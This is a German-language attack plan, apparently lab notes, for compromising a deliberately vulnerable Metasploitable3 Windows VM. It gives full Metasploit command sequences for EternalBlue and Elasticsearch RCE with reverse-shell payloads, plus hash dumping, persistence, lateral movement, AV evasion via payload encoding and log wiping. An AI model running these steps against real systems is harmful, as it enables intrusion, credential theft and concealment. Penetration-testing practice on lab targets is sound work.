Angriffsplan: Metasploitable3 - Remote Code Execution

Angriffsplan: Metasploitable3 Windows 2008

1. Übersicht

Ziel	**Metasploitable3 (Windows 2008 R2)**
IP-Adresse	10.0.0.2
Gefundene Dienste	SMB (445), Elasticsearch (9200), uvm.
Angreifer	Kali Linux VM (10.0.0.1)
Methode	Remote Code Execution (RCE) via SMB / Elasticsearch

---

2. Angriffsvektor 1: EternalBlue (SMB)

2.1 Beschreibung

EternalBlue (CVE-2017-0143) ist eine kritische Schwachstelle im SMBv1-Protokoll von Windows. Sie ermöglicht die Ausführung von beliebigem Code mit **SYSTEM-Rechten** über eine speziell präparierte SMB-Paketsequenz.

2.2 Warum dieser Vektor?

- **Hohe Erfolgswahrscheinlichkeit** auf ungepatchten Windows 2008/7 Systemen
- **SYSTEM-Level Zugriff** (höchste Privilegienstufe)
- **Metasploit-Modul** vorhanden und gut dokumentiert
- Zielsystem (Metasploitable3) ist bekanntlich anfällig

2.3 Exploit-Schritte (Metasploit)

```
# 1. Metasploit starten

msfconsole



# 2. Modul laden

use exploit/windows/smb/ms17_010_eternalblue



# 3. Ziel konfigurieren

set RHOST 10.0.0.2

set RPORT 445



# 4. Payload festlegen

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 10.0.0.1

set LPORT 4444
```

```
# 5. Exploit ausführen

run
```

2.4 Erwartetes Ergebnis

```
[*] Started reverse TCP handler on 10.0.0.1:4444

[*] Sending stage (58073 bytes) to 10.0.0.2

[*] Meterpreter session 1 opened

[+] WIN - EternalBlue successful!
```

Privileg nach Exploit: `NT AUTHORITY\SYSTEM`

2.5 Risiken

- **Kann System zum Absturz bringen** (Blue Screen of Death) bei fehlgeschlagenem Exploit
- **Wird von AV/EDR erkannt** (falls vorhanden)

---

3. Angriffsvektor 2: Elasticsearch RCE

3.1 Beschreibung

CVE-2014-3120 ist eine Remote-Code-Execution-Schwachstelle in Elasticsearch 1.1.x. Durch die Nutzung von dynamischen Scripts (MVEL) kann beliebiger Java-Code auf dem Server ausgeführt werden.

3.2 Warum dieser Vektor?

- **Keine Authentifizierung** erforderlich
- **Einfache Ausführung** via Metasploit

- **Hohe Erfolgsrate** auf Metasploitable3
- **Goodie**: Funktioniert auch auf Linux-Systemen

3.3 Exploit-Schritte (Metasploit)

```
# 1. Metasploit starten

msfconsole



# 2. Modul laden

use exploit/multi/elasticsearch/script_mvel_rce



# 3. Ziel konfigurieren

set RHOST 10.0.0.2

set RPORT 9200



# 4. Payload festlegen

set PAYLOAD java/meterpreter/reverse_tcp

set LHOST 10.0.0.1

set LPORT 4444



# 5. Exploit ausführen

run
```

3.4 Erwartetes Ergebnis

```
[*] Started reverse TCP handler on 10.0.0.1:4444

[*] Trying to execute arbitrary Java...

[*] Discovering remote OS...

[+] Remote OS is 'Windows Server 2008 R2'

[*] Meterpreter session 1 opened
```

Privileg nach Exploit: `NT AUTHORITY\SYSTEM`

3.5 Risiken

- Hinterlässt Spuren in Elasticsearch-Logs
- Manuelle Bereinigung der JAR-Datei erforderlich:

  ```
  C:\Windows\TEMP\MEIfIw.jar
  ```

---

4. Vergleich der Angriffsvektoren

Kriterium	EternalBlue (SMB)	Elasticsearch RCE
Port	445	9200
Erfolgswahrscheinlichkeit	Sehr hoch	Hoch
Privileg	SYSTEM	SYSTEM
Stabilität	Kann System crashen	Stabil
Spurenhinterlassung	Gering	Mittel (Logs, Temp-Datei)
Benötigte Berechtigung	Keine	Keine

---

5. Empfohlene Angriffsreihenfolge

Phase 1: Aufklärung (abgeschlossen)

- ☒ Nmap/Portscan durchgeführt
- ☒ SMB (445) und Elasticsearch (9200) identifiziert
- ☒ OS-Fingerprinting: Windows 2008 R2

Phase 2: Exploitation

1. **Versuch 1: EternalBlue** (SMB)
   - Höchste Erfolgsrate
   - Falls Fehler: Elasticsearch als Backup
2. **Versuch 2: Elasticsearch RCE**
   - Fallback-Option
   - Stabiler und weniger aggressiv

Phase 3: Post-Exploitation

- ☐ Systeminformationen sammeln (`sysinfo`)
- ☐ Benutzer auflisten (`getuid`, `getsystem`)
- ☐ Passwort-Hashes dumpen (`hashdump`)
- ☐ Persistenz einrichten (optional)
- ☐ Laterale Bewegung (falls gewünscht)

---

6. Meterpreter-Befehle nach erfolgreichem Exploit

```
# Systeminformationen

sysinfo



# Aktuelle Benutzerprivilegien

getuid
```

```
# SYSTEM-Rechte anfordern (falls nicht bereits SYSTEM)

getsystem



# Passwort-Hashes aus der SAM-Datenbank extrahieren

hashdump



# Screenshot des Desktops

screenshot



# Auf weitere Hosts im Netzwerk prüfen

arp -a



# Hintergrundprozess ausführen (Meterpreter im Hintergrund)

background

# Wieder Zurück in die Session

sessions -i 1
```

7. Risiken und Gegenmaßnahmen

Risiko	Beschreibung	Gegenmaßnahme
Systemabsturz	EternalBlue kann Blue Screen verursachen	Elasticsearch als sichere Alternative

Risiko	Beschreibung	Gegenmaßnahme
Erkennung durch AV	Metasploit-Payloads werden oft erkannt	Payload verschleiern (z.B. `msfvenom` mit Encoding)
Forensische Spuren	Logs auf dem Zielsystem	Nach Exploit Logs bereinigen
Netzwerküberwachung	IDS/IPS kann Angriff erkennen	Langsamer ausführen oder über verschlüsselten Tunnel

---

8. Fazit

Beide Angriffsvektoren sind **valide und effektiv** gegen das Metasploitable3-Zielsystem. EternalBlue bietet die höchste Erfolgswahrscheinlichkeit, während Elasticsearch eine stabile Alternative darstellt. Die erzielten SYSTEM-Rechte ermöglichen eine vollständige Kompromittierung des Zielsystems.

□□ Quellen / Referenzen

- CVE-2017-0143: https://nvd.nist.gov/vuln/detail/CVE-2017-0143
- CVE-2014-3120: https://nvd.nist.gov/vuln/detail/CVE-2014-3120
- Metasploit Module Documentation: `msfconsole` → `info exploit/windows/smb/ms17_010_eternalblue`
- Metasploitable3 Dokumentation: https://github.com/rapid7/metasploitable3

Revision #5
Created 25 August 2026 08:12:24 by Admin
Updated 29 September 2026 10:11:29 by Admin